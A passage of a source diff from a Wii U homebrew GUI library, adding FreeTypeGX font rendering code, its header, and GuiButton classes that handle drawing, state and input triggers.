uint16_t FreeTypeGX::getHeight(const wchar_t *text, int16_t pixelSize)
|
||||||
|
{
|
||||||
|
getOffset(text, pixelSize);
|
||||||
|
return fontData[pixelSize].ftgxAlign.max - fontData[pixelSize].ftgxAlign.min;
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Get the maximum offset above and minimum offset below the font origin line.
|
||||||
|
*
|
||||||
|
* This function calculates the maximum pixel height above the font origin line and the minimum
|
||||||
|
* pixel height below the font origin line and returns the values in an addressible structure.
|
||||||
|
*
|
||||||
|
* @param text NULL terminated string to calculate.
|
||||||
|
* @param offset returns the max and min values above and below the font origin line
|
||||||
|
*
|
||||||
|
*/
|
||||||
|
void FreeTypeGX::getOffset(const wchar_t *text, int16_t pixelSize, uint16_t widthLimit)
|
||||||
|
{
|
||||||
|
if (fontData.find(pixelSize) != fontData.end())
|
||||||
|
return;
|
||||||
|
|
||||||
|
int16_t strMax = 0, strMin = 9999;
|
||||||
|
uint16_t currWidth = 0;
|
||||||
|
|
||||||
|
int i = 0;
|
||||||
|
|
||||||
|
while (text[i])
|
||||||
|
{
|
||||||
|
if (widthLimit > 0 && currWidth >= widthLimit) break;
|
||||||
|
|
||||||
|
ftgxCharData* glyphData = cacheGlyphData(text[i], pixelSize);
|
||||||
|
|
||||||
|
if (glyphData != NULL)
|
||||||
|
{
|
||||||
|
strMax = glyphData->renderOffsetMax > strMax ? glyphData->renderOffsetMax : strMax;
|
||||||
|
strMin = glyphData->renderOffsetMin < strMin ? glyphData->renderOffsetMin : strMin;
|
||||||
|
currWidth += glyphData->glyphAdvanceX;
|
||||||
|
}
|
||||||
|
|
||||||
|
++i;
|
||||||
|
}
|
||||||
|
|
||||||
|
if (ftPointSize != pixelSize)
|
||||||
|
{
|
||||||
|
ftPointSize = pixelSize;
|
||||||
|
FT_Set_Pixel_Sizes(ftFace, 0, ftPointSize);
|
||||||
|
}
|
||||||
|
|
||||||
|
fontData[pixelSize].ftgxAlign.ascender = ftFace->size->metrics.ascender >> 6;
|
||||||
|
fontData[pixelSize].ftgxAlign.descender = ftFace->size->metrics.descender >> 6;
|
||||||
|
fontData[pixelSize].ftgxAlign.max = strMax;
|
||||||
|
fontData[pixelSize].ftgxAlign.min = strMin;
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Copies the supplied texture quad to the EFB.
|
||||||
|
*
|
||||||
|
* This routine uses the in-built GX quad builder functions to define the texture bounds and location on the EFB target.
|
||||||
|
*
|
||||||
|
* @param texObj A pointer to the glyph's initialized texture object.
|
||||||
|
* @param texWidth The pixel width of the texture object.
|
||||||
|
* @param texHeight The pixel height of the texture object.
|
||||||
|
* @param screenX The screen X coordinate at which to output the rendered texture.
|
||||||
|
* @param screenY The screen Y coordinate at which to output the rendered texture.
|
||||||
|
* @param color Color to apply to the texture.
|
||||||
|
*/
|
||||||
|
void FreeTypeGX::copyTextureToFramebuffer(CVideo *pVideo, GX2Texture *texture, int16_t x, int16_t y, int16_t z, const glm::vec4 & color, const float & defaultBlur, const float & blurIntensity, const glm::vec4 & blurColor)
|
||||||
|
{
|
||||||
|
static const f32 imageAngle = 0.0f;
|
||||||
|
static const f32 blurScale = 2.0f;
|
||||||
|
|
||||||
|
f32 offsetLeft = 2.0f * ((f32)x + 0.5f * (f32)texture->surface.width) * (f32)pVideo->getWidthScaleFactor();
|
||||||
|
f32 offsetTop = 2.0f * ((f32)y - 0.5f * (f32)texture->surface.height) * (f32)pVideo->getHeightScaleFactor();
|
||||||
|
|
||||||
|
f32 widthScale = blurScale * (f32)texture->surface.width * pVideo->getWidthScaleFactor();
|
||||||
|
f32 heightScale = blurScale * (f32)texture->surface.height * pVideo->getHeightScaleFactor();
|
||||||
|
|
||||||
|
glm::vec3 positionOffsets( offsetLeft, offsetTop, (f32)z );
|
||||||
|
|
||||||
|
//! blur doubles due to blur we have to scale the texture
|
||||||
|
glm::vec3 scaleFactor( widthScale, heightScale, 1.0f );
|
||||||
|
|
||||||
|
glm::vec3 blurDirection;
|
||||||
|
blurDirection[2] = 1.0f;
|
||||||
|
|
||||||
|
Texture2DShader::instance()->setShaders();
|
||||||
|
Texture2DShader::instance()->setAttributeBuffer();
|
||||||
|
Texture2DShader::instance()->setAngle(imageAngle);
|
||||||
|
Texture2DShader::instance()->setOffset(positionOffsets);
|
||||||
|
Texture2DShader::instance()->setScale(scaleFactor);
|
||||||
|
Texture2DShader::instance()->setTextureAndSampler(texture, &ftSampler);
|
||||||
|
|
||||||
|
if(blurIntensity > 0.0f)
|
||||||
|
{
|
||||||
|
//! glow blur color
|
||||||
|
Texture2DShader::instance()->setColorIntensity(blurColor);
|
||||||
|
|
||||||
|
//! glow blur horizontal
|
||||||
|
blurDirection[0] = blurIntensity;
|
||||||
|
blurDirection[1] = 0.0f;
|
||||||
|
Texture2DShader::instance()->setBlurring(blurDirection);
|
||||||
|
Texture2DShader::instance()->draw();
|
||||||
|
|
||||||
|
//! glow blur vertical
|
||||||
|
blurDirection[0] = 0.0f;
|
||||||
|
blurDirection[1] = blurIntensity;
|
||||||
|
Texture2DShader::instance()->setBlurring(blurDirection);
|
||||||
|
Texture2DShader::instance()->draw();
|
||||||
|
}
|
||||||
|
|
||||||
|
//! set text color
|
||||||
|
Texture2DShader::instance()->setColorIntensity(color);
|
||||||
|
|
||||||
|
//! blur horizontal
|
||||||
|
blurDirection[0] = defaultBlur;
|
||||||
|
blurDirection[1] = 0.0f;
|
||||||
|
Texture2DShader::instance()->setBlurring(blurDirection);
|
||||||
|
Texture2DShader::instance()->draw();
|
||||||
|
|
||||||
|
//! blur vertical
|
||||||
|
blurDirection[0] = 0.0f;
|
||||||
|
blurDirection[1] = defaultBlur;
|
||||||
|
Texture2DShader::instance()->setBlurring(blurDirection);
|
||||||
|
Texture2DShader::instance()->draw();
|
||||||
|
}
|
155
src/gui/FreeTypeGX.h
Normal file
155
src/gui/FreeTypeGX.h
Normal file
@ -0,0 +1,155 @@
|
|||||||
|
/*
|
||||||
|
* FreeTypeGX is a wrapper class for libFreeType which renders a compiled
|
||||||
|
* FreeType parsable font into a GX texture for Wii homebrew development.
|
||||||
|
* Copyright (C) 2008 Armin Tamzarian
|
||||||
|
* Modified by Dimok, 2015 for WiiU GX2
|
||||||
|
*
|
||||||
|
* This file is part of FreeTypeGX.
|
||||||
|
*
|
||||||
|
* FreeTypeGX is free software: you can redistribute it and/or modify
|
||||||
|
* it under the terms of the GNU Lesser General Public License as published
|
||||||
|
* by the Free Software Foundation, either version 3 of the License, or
|
||||||
|
* (at your option) any later version.
|
||||||
|
*
|
||||||
|
* FreeTypeGX is distributed in the hope that it will be useful,
|
||||||
|
* but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||||
|
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||||
|
* GNU Lesser General Public License for more details.
|
||||||
|
*
|
||||||
|
* You should have received a copy of the GNU Lesser General Public License
|
||||||
|
* along with FreeTypeGX. If not, see <http://www.gnu.org/licenses/>.
|
||||||
|
*/
|
||||||
|
|
||||||
|
#ifndef FREETYPEGX_H_
|
||||||
|
#define FREETYPEGX_H_
|
||||||
|
|
||||||
|
#include <gctypes.h>
|
||||||
|
#include <string>
|
||||||
|
#include <ft2build.h>
|
||||||
|
#include FT_FREETYPE_H
|
||||||
|
#include FT_BITMAP_H
|
||||||
|
|
||||||
|
#include <malloc.h>
|
||||||
|
#include <string.h>
|
||||||
|
#include <wchar.h>
|
||||||
|
#include <map>
|
||||||
|
|
||||||
|
#include <glm/glm.hpp>
|
||||||
|
#include <glm/gtc/matrix_transform.hpp>
|
||||||
|
|
||||||
|
#include "dynamic_libs/gx2_functions.h"
|
||||||
|
|
||||||
|
/*! \struct ftgxCharData_
|
||||||
|
*
|
||||||
|
* Font face character glyph relevant data structure.
|
||||||
|
*/
|
||||||
|
typedef struct ftgxCharData_
|
||||||
|
{
|
||||||
|
int16_t renderOffsetX; /**< Texture X axis bearing offset. */
|
||||||
|
uint16_t glyphAdvanceX; /**< Character glyph X coordinate advance in pixels. */
|
||||||
|
uint16_t glyphAdvanceY; /**< Character glyph Y coordinate advance in pixels. */
|
||||||
|
uint32_t glyphIndex; /**< Charachter glyph index in the font face. */
|
||||||
|
|
||||||
|
int16_t renderOffsetY; /**< Texture Y axis bearing offset. */
|
||||||
|
int16_t renderOffsetMax; /**< Texture Y axis bearing maximum value. */
|
||||||
|
int16_t renderOffsetMin; /**< Texture Y axis bearing minimum value. */
|
||||||
|
|
||||||
|
GX2Texture * texture;
|
||||||
|
} ftgxCharData;
|
||||||
|
|
||||||
|
/*! \struct ftgxDataOffset_
|
||||||
|
*
|
||||||
|
* Offset structure which hold both a maximum and minimum value.
|
||||||
|
*/
|
||||||
|
typedef struct ftgxDataOffset_
|
||||||
|
{
|
||||||
|
int16_t ascender; /**< Maximum data offset. */
|
||||||
|
int16_t descender; /**< Minimum data offset. */
|
||||||
|
int16_t max; /**< Maximum data offset. */
|
||||||
|
int16_t min; /**< Minimum data offset. */
|
||||||
|
} ftgxDataOffset;
|
||||||
|
|
||||||
|
typedef struct ftgxCharData_ ftgxCharData;
|
||||||
|
typedef struct ftgxDataOffset_ ftgxDataOffset;
|
||||||
|
#define _TEXT(t) L ## t /**< Unicode helper macro. */
|
||||||
|
|
||||||
|
#define FTGX_NULL 0x0000
|
||||||
|
#define FTGX_JUSTIFY_LEFT 0x0001
|
||||||
|
#define FTGX_JUSTIFY_CENTER 0x0002
|
||||||
|
#define FTGX_JUSTIFY_RIGHT 0x0004
|
||||||
|
#define FTGX_JUSTIFY_MASK 0x000f
|
||||||
|
|
||||||
|
#define FTGX_ALIGN_TOP 0x0010
|
||||||
|
#define FTGX_ALIGN_MIDDLE 0x0020
|
||||||
|
#define FTGX_ALIGN_BOTTOM 0x0040
|
||||||
|
#define FTGX_ALIGN_BASELINE 0x0080
|
||||||
|
#define FTGX_ALIGN_GLYPH_TOP 0x0100
|
||||||
|
#define FTGX_ALIGN_GLYPH_MIDDLE 0x0200
|
||||||
|
#define FTGX_ALIGN_GLYPH_BOTTOM 0x0400
|
||||||
|
#define FTGX_ALIGN_MASK 0x0ff0
|
||||||
|
|
||||||
|
#define FTGX_STYLE_UNDERLINE 0x1000
|
||||||
|
#define FTGX_STYLE_STRIKE 0x2000
|
||||||
|
#define FTGX_STYLE_MASK 0xf000
|
||||||
|
|
||||||
|
/**< Constant color value used only to sanitize Doxygen documentation. */
|
||||||
|
static const GX2ColorF32 ftgxWhite = (GX2ColorF32){ 1.0f, 1.0f, 1.0f, 1.0f };
|
||||||
|
|
||||||
|
|
||||||
|
//! forward declaration
|
||||||
|
class CVideo;
|
||||||
|
|
||||||
|
/*! \class FreeTypeGX
|
||||||
|
* \brief Wrapper class for the libFreeType library with GX rendering.
|
||||||
|
* \author Armin Tamzarian
|
||||||
|
* \version 0.2.4
|
||||||
|
*
|
||||||
|
* FreeTypeGX acts as a wrapper class for the libFreeType library. It supports precaching of transformed glyph data into
|
||||||
|
* a specified texture format. Rendering of the data to the EFB is accomplished through the application of high performance
|
||||||
|
* GX texture functions resulting in high throughput of string rendering.
|
||||||
|
*/
|
||||||
|
class FreeTypeGX
|
||||||
|
{
|
||||||
|
private:
|
||||||
|
FT_Library ftLibrary; /**< FreeType FT_Library instance. */
|
||||||
|
FT_Face ftFace; /**< FreeType reusable FT_Face typographic object. */
|
||||||
|
int16_t ftPointSize; /**< Current set size of the rendered font. */
|
||||||
|
bool ftKerningEnabled; /**< Flag indicating the availability of font kerning data. */
|
||||||
|
uint8_t vertexIndex; /**< Vertex format descriptor index. */
|
||||||
|
GX2Sampler ftSampler;
|
||||||
|
|
||||||
|
typedef struct _ftGX2Data
|
||||||
|
{
|
||||||
|
ftgxDataOffset ftgxAlign;
|
||||||
|
std::map<wchar_t, ftgxCharData> ftgxCharMap;
|
||||||
|
} ftGX2Data;
|
||||||
|
|
||||||
|
std::map<int16_t, ftGX2Data> fontData; /**< Map which holds the glyph data structures for the corresponding characters in one size. */
|
||||||
|
|
||||||
|
int16_t getStyleOffsetWidth(uint16_t width, uint16_t format);
|
||||||
|
int16_t getStyleOffsetHeight(int16_t format, uint16_t pixelSize);
|
||||||
|
|
||||||
|
void unloadFont();
|
||||||
|
ftgxCharData *cacheGlyphData(wchar_t charCode, int16_t pixelSize);
|
||||||
|
uint16_t cacheGlyphDataComplete(int16_t pixelSize);
|
||||||
|
void loadGlyphData(FT_Bitmap *bmp, ftgxCharData *charData);
|
||||||
|
|
||||||
|
void copyTextureToFramebuffer(CVideo * pVideo, GX2Texture *tex, int16_t screenX, int16_t screenY, int16_t screenZ, const glm::vec4 & color, const float &textBlur, const float &colorBlurIntensity, const glm::vec4 & blurColor);
|
||||||
|
|
||||||
|
public:
|
||||||
|
FreeTypeGX(const uint8_t* fontBuffer, FT_Long bufferSize, bool lastFace = false);
|
||||||
|
~FreeTypeGX();
|
||||||
|
|
||||||
|
uint16_t drawText(CVideo * pVideo, int16_t x, int16_t y, int16_t z, const wchar_t *text, int16_t pixelSize, const glm::vec4 & color,
|
||||||
|
uint16_t textStyling, uint16_t textWidth, const float &textBlur, const float &colorBlurIntensity, const glm::vec4 & blurColor);
|
||||||
|
|
||||||
|
uint16_t getWidth(const wchar_t *text, int16_t pixelSize);
|
||||||
|
uint16_t getCharWidth(const wchar_t wChar, int16_t pixelSize, const wchar_t prevChar = 0x0000);
|
||||||
|
uint16_t getHeight(const wchar_t *text, int16_t pixelSize);
|
||||||
|
void getOffset(const wchar_t *text, int16_t pixelSize, uint16_t widthLimit = 0);
|
||||||
|
|
||||||
|
static wchar_t* charToWideChar(const char* p);
|
||||||
|
static char* wideCharToUTF8(const wchar_t* strChar);
|
||||||
|
};
|
||||||
|
|
||||||
|
#endif /* FREETYPEGX_H_ */
|
30
src/gui/Gui.h
Normal file
30
src/gui/Gui.h
Normal file
@ -0,0 +1,30 @@
|
|||||||
|
/****************************************************************************
|
||||||
|
* Copyright (C) 2015 Dimok
|
||||||
|
*
|
||||||
|
* This program is free software: you can redistribute it and/or modify
|
||||||
|
* it under the terms of the GNU General Public License as published by
|
||||||
|
* the Free Software Foundation, either version 3 of the License, or
|
||||||
|
* (at your option) any later version.
|
||||||
|
*
|
||||||
|
* This program is distributed in the hope that it will be useful,
|
||||||
|
* but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||||
|
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||||
|
* GNU General Public License for more details.
|
||||||
|
*
|
||||||
|
* You should have received a copy of the GNU General Public License
|
||||||
|
* along with this program. If not, see <http://www.gnu.org/licenses/>.
|
||||||
|
****************************************************************************/
|
||||||
|
#ifndef __GUI_H
|
||||||
|
#define __GUI_H
|
||||||
|
|
||||||
|
#include "GuiElement.h"
|
||||||
|
#include "GuiImageData.h"
|
||||||
|
#include "GuiImage.h"
|
||||||
|
#include "GuiFrame.h"
|
||||||
|
#include "GuiController.h"
|
||||||
|
#include "GuiText.h"
|
||||||
|
#include "GuiSound.h"
|
||||||
|
#include "GuiButton.h"
|
||||||
|
#include "GuiTrigger.h"
|
||||||
|
|
||||||
|
#endif
|
290
src/gui/GuiButton.cpp
Normal file
290
src/gui/GuiButton.cpp
Normal file
@ -0,0 +1,290 @@
|
|||||||
|
/****************************************************************************
|
||||||
|
* Copyright (C) 2015 Dimok
|
||||||
|
*
|
||||||
|
* This program is free software: you can redistribute it and/or modify
|
||||||
|
* it under the terms of the GNU General Public License as published by
|
||||||
|
* the Free Software Foundation, either version 3 of the License, or
|
||||||
|
* (at your option) any later version.
|
||||||
|
*
|
||||||
|
* This program is distributed in the hope that it will be useful,
|
||||||
|
* but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||||
|
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||||
|
* GNU General Public License for more details.
|
||||||
|
*
|
||||||
|
* You should have received a copy of the GNU General Public License
|
||||||
|
* along with this program. If not, see <http://www.gnu.org/licenses/>.
|
||||||
|
****************************************************************************/
|
||||||
|
#include "GuiButton.h"
|
||||||
|
#include "GuiController.h"
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Constructor for the GuiButton class.
|
||||||
|
*/
|
||||||
|
|
||||||
|
GuiButton::GuiButton(f32 w, f32 h)
|
||||||
|
{
|
||||||
|
width = w;
|
||||||
|
height = h;
|
||||||
|
image = NULL;
|
||||||
|
imageOver = NULL;
|
||||||
|
imageHold = NULL;
|
||||||
|
imageClick = NULL;
|
||||||
|
icon = NULL;
|
||||||
|
iconOver = NULL;
|
||||||
|
|
||||||
|
for(int i = 0; i < 4; i++)
|
||||||
|
{
|
||||||
|
label[i] = NULL;
|
||||||
|
labelOver[i] = NULL;
|
||||||
|
labelHold[i] = NULL;
|
||||||
|
labelClick[i] = NULL;
|
||||||
|
}
|
||||||
|
for(int i = 0; i < iMaxGuiTriggers; i++)
|
||||||
|
{
|
||||||
|
trigger[i] = NULL;
|
||||||
|
}
|
||||||
|
|
||||||
|
soundOver = NULL;
|
||||||
|
soundHold = NULL;
|
||||||
|
soundClick = NULL;
|
||||||
|
clickedTrigger = NULL;
|
||||||
|
heldTrigger = NULL;
|
||||||
|
selectable = true;
|
||||||
|
holdable = false;
|
||||||
|
clickable = true;
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Destructor for the GuiButton class.
|
||||||
|
*/
|
||||||
|
GuiButton::~GuiButton()
|
||||||
|
{
|
||||||
|
}
|
||||||
|
|
||||||
|
void GuiButton::setImage(GuiImage* img)
|
||||||
|
{
|
||||||
|
image = img;
|
||||||
|
if(img) img->setParent(this);
|
||||||
|
}
|
||||||
|
void GuiButton::setImageOver(GuiImage* img)
|
||||||
|
{
|
||||||
|
imageOver = img;
|
||||||
|
if(img) img->setParent(this);
|
||||||
|
}
|
||||||
|
void GuiButton::setImageHold(GuiImage* img)
|
||||||
|
{
|
||||||
|
imageHold = img;
|
||||||
|
if(img) img->setParent(this);
|
||||||
|
}
|
||||||
|
void GuiButton::setImageClick(GuiImage* img)
|
||||||
|
{
|
||||||
|
imageClick = img;
|
||||||
|
if(img) img->setParent(this);
|
||||||
|
}
|
||||||
|
void GuiButton::setIcon(GuiImage* img)
|
||||||
|
{
|
||||||
|
icon = img;
|
||||||
|
if(img) img->setParent(this);
|
||||||
|
}
|
||||||
|
void GuiButton::setIconOver(GuiImage* img)
|
||||||
|
{
|
||||||
|
iconOver = img;
|
||||||
|
if(img) img->setParent(this);
|
||||||
|
}
|
||||||
|
|
||||||
|
void GuiButton::setLabel(GuiText* txt, int n)
|
||||||
|
{
|
||||||
|
label[n] = txt;
|
||||||
|
if(txt) txt->setParent(this);
|
||||||
|
}
|
||||||
|
void GuiButton::setLabelOver(GuiText* txt, int n)
|
||||||
|
{
|
||||||
|
labelOver[n] = txt;
|
||||||
|
if(txt) txt->setParent(this);
|
||||||
|
}
|
||||||
|
void GuiButton::setLabelHold(GuiText* txt, int n)
|
||||||
|
{
|
||||||
|
labelHold[n] = txt;
|
||||||
|
if(txt) txt->setParent(this);
|
||||||
|
}
|
||||||
|
void GuiButton::setLabelClick(GuiText* txt, int n)
|
||||||
|
{
|
||||||
|
labelClick[n] = txt;
|
||||||
|
if(txt) txt->setParent(this);
|
||||||
|
}
|
||||||
|
void GuiButton::setSoundOver(GuiSound * snd)
|
||||||
|
{
|
||||||
|
soundOver = snd;
|
||||||
|
}
|
||||||
|
void GuiButton::setSoundHold(GuiSound * snd)
|
||||||
|
{
|
||||||
|
soundHold = snd;
|
||||||
|
}
|
||||||
|
|
||||||
|
void GuiButton::setSoundClick(GuiSound * snd)
|
||||||
|
{
|
||||||
|
soundClick = snd;
|
||||||
|
}
|
||||||
|
|
||||||
|
void GuiButton::setTrigger(GuiTrigger * t, int idx)
|
||||||
|
{
|
||||||
|
if(idx >= 0 && idx < iMaxGuiTriggers)
|
||||||
|
{
|
||||||
|
trigger[idx] = t;
|
||||||
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
for(int i = 0; i < iMaxGuiTriggers; i++)
|
||||||
|
{
|
||||||
|
if(!trigger[i])
|
||||||
|
{
|
||||||
|
trigger[i] = t;
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
void GuiButton::resetState(void)
|
||||||
|
{
|
||||||
|
clickedTrigger = NULL;
|
||||||
|
heldTrigger = NULL;
|
||||||
|
GuiElement::resetState();
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Draw the button on screen
|
||||||
|
*/
|
||||||
|
void GuiButton::draw(CVideo *v)
|
||||||
|
{
|
||||||
|
if(!this->isVisible())
|
||||||
|
return;
|
||||||
|
|
||||||
|
// draw image
|
||||||
|
if(isStateSet(STATE_OVER | STATE_SELECTED | STATE_CLICKED | STATE_HELD) && imageOver)
|
||||||
|
imageOver->draw(v);
|
||||||
|
else if(image)
|
||||||
|
image->draw(v);
|
||||||
|
|
||||||
|
if(isStateSet(STATE_OVER | STATE_SELECTED | STATE_CLICKED | STATE_HELD) && iconOver)
|
||||||
|
iconOver->draw(v);
|
||||||
|
else if(icon)
|
||||||
|
icon->draw(v);
|
||||||
|
|
||||||
|
// draw text
|
||||||
|
for(int i = 0; i < 4; i++)
|
||||||
|
{
|
||||||
|
if(isStateSet(STATE_OVER | STATE_SELECTED | STATE_CLICKED | STATE_HELD) && labelOver[i])
|
||||||
|
labelOver[i]->draw(v);
|
||||||
|
else if(label[i])
|
||||||
|
label[i]->draw(v);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
void GuiButton::update(GuiController * c)
|
||||||
|
{
|
||||||
|
if(!c || isStateSet(STATE_DISABLED, c->chan) || isStateSet(STATE_HIDDEN, c->chan))
|
||||||
|
return;
|
||||||
|
else if(parentElement && (parentElement->isStateSet(STATE_DISABLED, c->chan) || parentElement->isStateSet(STATE_HIDDEN, c->chan)))
|
||||||
|
return;
|
||||||
|
|
||||||
|
if(selectable)
|
||||||
|
{
|
||||||
|
if(c->data.validPointer && this->isInside(c->data.x, c->data.y))
|
||||||
|
{
|
||||||
|
if(!isStateSet(STATE_OVER, c->chan))
|
||||||
|
{
|
||||||
|
setState(STATE_OVER, c->chan);
|
||||||
|
|
||||||
|
//if(this->isRumbleActive())
|
||||||
|
// this->rumble(t->chan);
|
||||||
|
|
||||||
|
if(soundOver)
|
||||||
|
soundOver->Play();
|
||||||
|
|
||||||
|
if(effectsOver && !effects)
|
||||||
|
{
|
||||||
|
// initiate effects
|
||||||
|
effects = effectsOver;
|
||||||
|
effectAmount = effectAmountOver;
|
||||||
|
effectTarget = effectTargetOver;
|
||||||
|
}
|
||||||
|
|
||||||
|
pointedOn(this, c);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
else if(isStateSet(STATE_OVER, c->chan))
|
||||||
|
{
|
||||||
|
this->clearState(STATE_OVER, c->chan);
|
||||||
|
pointedOff(this, c);
|
||||||
|
|
||||||
|
if(effectTarget == effectTargetOver && effectAmount == effectAmountOver)
|
||||||
|
{
|
||||||
|
// initiate effects (in reverse)
|
||||||
|
effects = effectsOver;
|
||||||
|
effectAmount = -effectAmountOver;
|
||||||
|
effectTarget = 100;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
for(int i = 0; i < iMaxGuiTriggers; i++)
|
||||||
|
{
|
||||||
|
if(!trigger[i])
|
||||||
|
continue;
|
||||||
|
|
||||||
|
// button triggers
|
||||||
|
if(clickable)
|
||||||
|
{
|
||||||
|
bool isClicked = trigger[i]->clicked(c);
|
||||||
|
|
||||||
|
if( !clickedTrigger && isClicked
|
||||||
|
&& (trigger[i]->isClickEverywhere() || (isStateSet(STATE_SELECTED | STATE_OVER, c->chan) && trigger[i]->isSelectionClickEverywhere()) || this->isInside(c->data.x, c->data.y)))
|
||||||
|
{
|
||||||
|
if(soundClick)
|
||||||
|
soundClick->Play();
|
||||||
|
|
||||||
|
clickedTrigger = trigger[i];
|
||||||
|
|
||||||
|
if(!isStateSet(STATE_CLICKED, c->chan))
|
||||||
|
setState(STATE_CLICKED, c->chan);
|
||||||
|
|
||||||
|
clicked(this, c, trigger[i]);
|
||||||
|
}
|
||||||
|
else if(isStateSet(STATE_CLICKED, c->chan) && (clickedTrigger == trigger[i]) && !isStateSet(STATE_HELD, c->chan) && !trigger[i]->held(c) && (!isClicked || trigger[i]->released(c)))
|
||||||
|
{
|
||||||
|
clickedTrigger = NULL;
|
||||||
|
clearState(STATE_CLICKED, c->chan);
|
||||||
|
released(this, c, trigger[i]);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
if(holdable)
|
||||||
|
{
|
||||||
|
bool isHeld = trigger[i]->held(c);
|
||||||
|
|
||||||
|
if( (!heldTrigger || heldTrigger == trigger[i]) && isHeld
|
||||||
|
&& (trigger[i]->isHoldEverywhere() || (isStateSet(STATE_SELECTED | STATE_OVER, c->chan) && trigger[i]->isSelectionClickEverywhere()) || this->isInside(c->data.x, c->data.y)))
|
||||||
|
{
|
||||||
|
heldTrigger = trigger[i];
|
||||||
|
|
||||||
|
if(!isStateSet(STATE_HELD, c->chan))
|
||||||
|
setState(STATE_HELD, c->chan);
|
||||||
|
|
||||||
|
held(this, c, trigger[i]);
|
||||||
|
}
|
||||||
|
else if(isStateSet(STATE_HELD, c->chan) && (heldTrigger == trigger[i]) && (!isHeld || trigger[i]->released(c)))
|
||||||
|
{
|
||||||
|
//! click is removed at this point and converted to held
|
||||||
|
if(clickedTrigger == trigger[i])
|
||||||
|
{
|
||||||
|
clickedTrigger = NULL;
|
||||||
|
clearState(STATE_CLICKED, c->chan);
|
||||||
|
}
|
||||||
|
heldTrigger = NULL;
|
||||||
|
clearState(STATE_HELD, c->chan);
|
||||||
|
released(this, c, trigger[i]);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
117
src/gui/GuiButton.h
Normal file
117
src/gui/GuiButton.h
Normal file
@ -0,0 +1,117 @@
|
|||||||
|
/****************************************************************************
|
||||||
|
* Copyright (C) 2015 Dimok
|
||||||
|
*
|
||||||
|
* This program is free software: you can redistribute it and/or modify
|
||||||
|
* it under the terms of the GNU General Public License as published by
|
||||||
|
* the Free Software Foundation, either version 3 of the License, or
|
||||||
|
* (at your option) any later version.
|
||||||
|
*
|
||||||
|
* This program is distributed in the hope that it will be useful,
|
||||||
|
* but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||||
|
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||||
|
* GNU General Public License for more details.
|
||||||
|
*
|
||||||
|
* You should have received a copy of the GNU General Public License
|
||||||
|
* along with this program. If not, see <http://www.gnu.org/licenses/>.
|
||||||
|
****************************************************************************/
|
||||||
|
#ifndef GUI_BUTTON_H_
|
||||||
|
#define GUI_BUTTON_H_
|
||||||
|
|
||||||
|
#include "GuiElement.h"
|
||||||
|
#include "GuiText.h"
|
||||||
|
#include "GuiController.h"
|
||||||
|
#include "GuiImage.h"
|
||||||
|
#include "GuiSound.h"
|
||||||
|
#include "GuiTrigger.h"
|
||||||
|
|
||||||
|
//!Display, manage, and manipulate buttons in the GUI. Buttons can have images, icons, text, and sound set (all of which are optional)
|
||||||
|
class GuiButton : public GuiElement
|
||||||
|
{
|
||||||
|
public:
|
||||||
|
//!Constructor
|
||||||
|
//!\param w Width
|
||||||
|
//!\param h Height
|
||||||
|
GuiButton(f32 w, f32 h);
|
||||||
|
//!Destructor
|
||||||
|
virtual ~GuiButton();
|
||||||
|
//!Sets the button's image
|
||||||
|
//!\param i Pointer to GuiImage object
|
||||||
|
void setImage(GuiImage* i);
|
||||||
|
//!Sets the button's image on over
|
||||||
|
//!\param i Pointer to GuiImage object
|
||||||
|
void setImageOver(GuiImage* i);
|
||||||
|
|
||||||
|
void setIcon(GuiImage* i);
|
||||||
|
void setIconOver(GuiImage* i);
|
||||||
|
//!Sets the button's image on hold
|
||||||
|
//!\param i Pointer to GuiImage object
|
||||||
|
void setImageHold(GuiImage* i);
|
||||||
|
//!Sets the button's image on click
|
||||||
|
//!\param i Pointer to GuiImage object
|
||||||
|
void setImageClick(GuiImage* i);
|
||||||
|
//!Sets the button's label
|
||||||
|
//!\param t Pointer to GuiText object
|
||||||
|
//!\param n Index of label to set (optional, default is 0)
|
||||||
|
void setLabel(GuiText* t, int n = 0);
|
||||||
|
//!Sets the button's label on over (eg: different colored text)
|
||||||
|
//!\param t Pointer to GuiText object
|
||||||
|
//!\param n Index of label to set (optional, default is 0)
|
||||||
|
void setLabelOver(GuiText* t, int n = 0);
|
||||||
|
//!Sets the button's label on hold
|
||||||
|
//!\param t Pointer to GuiText object
|
||||||
|
//!\param n Index of label to set (optional, default is 0)
|
||||||
|
void setLabelHold(GuiText* t, int n = 0);
|
||||||
|
//!Sets the button's label on click
|
||||||
|
//!\param t Pointer to GuiText object
|
||||||
|
//!\param n Index of label to set (optional, default is 0)
|
||||||
|
void setLabelClick(GuiText* t, int n = 0);
|
||||||
|
//!Sets the sound to play on over
|
||||||
|
//!\param s Pointer to GuiSound object
|
||||||
|
void setSoundOver(GuiSound * s);
|
||||||
|
//!Sets the sound to play on hold
|
||||||
|
//!\param s Pointer to GuiSound object
|
||||||
|
void setSoundHold(GuiSound * s);
|
||||||
|
//!Sets the sound to play on click
|
||||||
|
//!\param s Pointer to GuiSound object
|
||||||
|
void setSoundClick(GuiSound * s);
|
||||||
|
//!Set a new GuiTrigger for the element
|
||||||
|
//!\param i Index of trigger array to set
|
||||||
|
//!\param t Pointer to GuiTrigger
|
||||||
|
